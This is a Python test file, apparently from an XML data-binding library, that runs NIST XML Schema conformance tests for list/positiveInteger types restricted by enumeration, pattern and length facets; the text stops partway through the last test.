def test_list_positive_integer_enumeration_nistxml_sv_iv_list_positive_integer_enumeration_1_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-1-4.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_enumeration_nistxml_sv_iv_list_positive_integer_enumeration_1_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet enumeration.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-enumeration-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-enumeration-1-5.xml",
class_name="NistschemaSvIvListPositiveIntegerEnumeration1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_4_nistxml_sv_iv_list_positive_integer_pattern_5_1(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-5-1.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_4_nistxml_sv_iv_list_positive_integer_pattern_5_2(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-5-2.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_4_nistxml_sv_iv_list_positive_integer_pattern_5_3(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-5-3.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_4_nistxml_sv_iv_list_positive_integer_pattern_5_4(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-5-4.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_4_nistxml_sv_iv_list_positive_integer_pattern_5_5(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{4} \d{7} \d{10} \d{13} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-5-5.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_3_nistxml_sv_iv_list_positive_integer_pattern_4_1(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-4-1.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_3_nistxml_sv_iv_list_positive_integer_pattern_4_2(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-4-2.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_3_nistxml_sv_iv_list_positive_integer_pattern_4_3(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-4-3.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_3_nistxml_sv_iv_list_positive_integer_pattern_4_4(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-4-4.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_3_nistxml_sv_iv_list_positive_integer_pattern_4_5(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-4-5.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_2_nistxml_sv_iv_list_positive_integer_pattern_3_1(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{8} \d{9} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-3-1.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_2_nistxml_sv_iv_list_positive_integer_pattern_3_2(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{8} \d{9} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-3-2.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_2_nistxml_sv_iv_list_positive_integer_pattern_3_3(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{8} \d{9} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-3-3.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_2_nistxml_sv_iv_list_positive_integer_pattern_3_4(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{8} \d{9} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-3-4.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_2_nistxml_sv_iv_list_positive_integer_pattern_3_5(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{2} \d{3} \d{4} \d{5} \d{6} \d{7} \d{8} \d{9} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-3-5.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_1_nistxml_sv_iv_list_positive_integer_pattern_2_1(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-2-1.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_1_nistxml_sv_iv_list_positive_integer_pattern_2_2(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-2-2.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_1_nistxml_sv_iv_list_positive_integer_pattern_2_3(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-2-3.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_1_nistxml_sv_iv_list_positive_integer_pattern_2_4(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-2-4.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_1_nistxml_sv_iv_list_positive_integer_pattern_2_5(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-2-5.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_nistxml_sv_iv_list_positive_integer_pattern_1_1(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-1-1.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_nistxml_sv_iv_list_positive_integer_pattern_1_2(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-1-2.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_nistxml_sv_iv_list_positive_integer_pattern_1_3(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-1-3.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_nistxml_sv_iv_list_positive_integer_pattern_1_4(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-1-4.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_pattern_nistxml_sv_iv_list_positive_integer_pattern_1_5(mode, save_output, output_format):
r"""
Type list/positiveInteger is restricted by facet pattern with value
\d{1} \d{3} \d{5} \d{7} \d{9} \d{11} \d{18}.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-pattern-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-pattern-1-5.xml",
class_name="NistschemaSvIvListPositiveIntegerPattern1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_4_nistxml_sv_iv_list_positive_integer_length_5_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-5-1.xml",
class_name="NistschemaSvIvListPositiveIntegerLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_4_nistxml_sv_iv_list_positive_integer_length_5_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-5-2.xml",
class_name="NistschemaSvIvListPositiveIntegerLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_4_nistxml_sv_iv_list_positive_integer_length_5_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-5-3.xml",
class_name="NistschemaSvIvListPositiveIntegerLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_4_nistxml_sv_iv_list_positive_integer_length_5_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-5-4.xml",
class_name="NistschemaSvIvListPositiveIntegerLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_4_nistxml_sv_iv_list_positive_integer_length_5_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 10.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-5.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-5-5.xml",
class_name="NistschemaSvIvListPositiveIntegerLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_3_nistxml_sv_iv_list_positive_integer_length_4_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-4-1.xml",
class_name="NistschemaSvIvListPositiveIntegerLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_3_nistxml_sv_iv_list_positive_integer_length_4_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-4-2.xml",
class_name="NistschemaSvIvListPositiveIntegerLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_3_nistxml_sv_iv_list_positive_integer_length_4_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-4-3.xml",
class_name="NistschemaSvIvListPositiveIntegerLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_3_nistxml_sv_iv_list_positive_integer_length_4_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-4-4.xml",
class_name="NistschemaSvIvListPositiveIntegerLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_3_nistxml_sv_iv_list_positive_integer_length_4_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-4.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-4-5.xml",
class_name="NistschemaSvIvListPositiveIntegerLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_2_nistxml_sv_iv_list_positive_integer_length_3_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-3-1.xml",
class_name="NistschemaSvIvListPositiveIntegerLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_2_nistxml_sv_iv_list_positive_integer_length_3_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-3-2.xml",
class_name="NistschemaSvIvListPositiveIntegerLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_2_nistxml_sv_iv_list_positive_integer_length_3_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-3-3.xml",
class_name="NistschemaSvIvListPositiveIntegerLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_2_nistxml_sv_iv_list_positive_integer_length_3_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-3-4.xml",
class_name="NistschemaSvIvListPositiveIntegerLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_2_nistxml_sv_iv_list_positive_integer_length_3_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-3.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-3-5.xml",
class_name="NistschemaSvIvListPositiveIntegerLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_1_nistxml_sv_iv_list_positive_integer_length_2_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-2-1.xml",
class_name="NistschemaSvIvListPositiveIntegerLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_1_nistxml_sv_iv_list_positive_integer_length_2_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-2-2.xml",
class_name="NistschemaSvIvListPositiveIntegerLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_1_nistxml_sv_iv_list_positive_integer_length_2_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-2-3.xml",
class_name="NistschemaSvIvListPositiveIntegerLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_1_nistxml_sv_iv_list_positive_integer_length_2_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-2-4.xml",
class_name="NistschemaSvIvListPositiveIntegerLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_1_nistxml_sv_iv_list_positive_integer_length_2_5(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-2.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-2-5.xml",
class_name="NistschemaSvIvListPositiveIntegerLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_nistxml_sv_iv_list_positive_integer_length_1_1(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-1-1.xml",
class_name="NistschemaSvIvListPositiveIntegerLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_nistxml_sv_iv_list_positive_integer_length_1_2(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-1-2.xml",
class_name="NistschemaSvIvListPositiveIntegerLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_nistxml_sv_iv_list_positive_integer_length_1_3(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-1-3.xml",
class_name="NistschemaSvIvListPositiveIntegerLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_positive_integer_length_nistxml_sv_iv_list_positive_integer_length_1_4(mode, save_output, output_format):
"""
Type list/positiveInteger is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/positiveInteger/Schema+Instance/NISTSchema-SV-IV-list-positiveInteger-length-1.xsd",
instance="nistData/list/positiveInteger/Schema+Instance/NISTXML-SV-IV-list-positiveInteger-length-1-4.xml",
class_name="NistschemaSvIvListPositiveIntegerLength1",
version="1.1",
mode=mode,
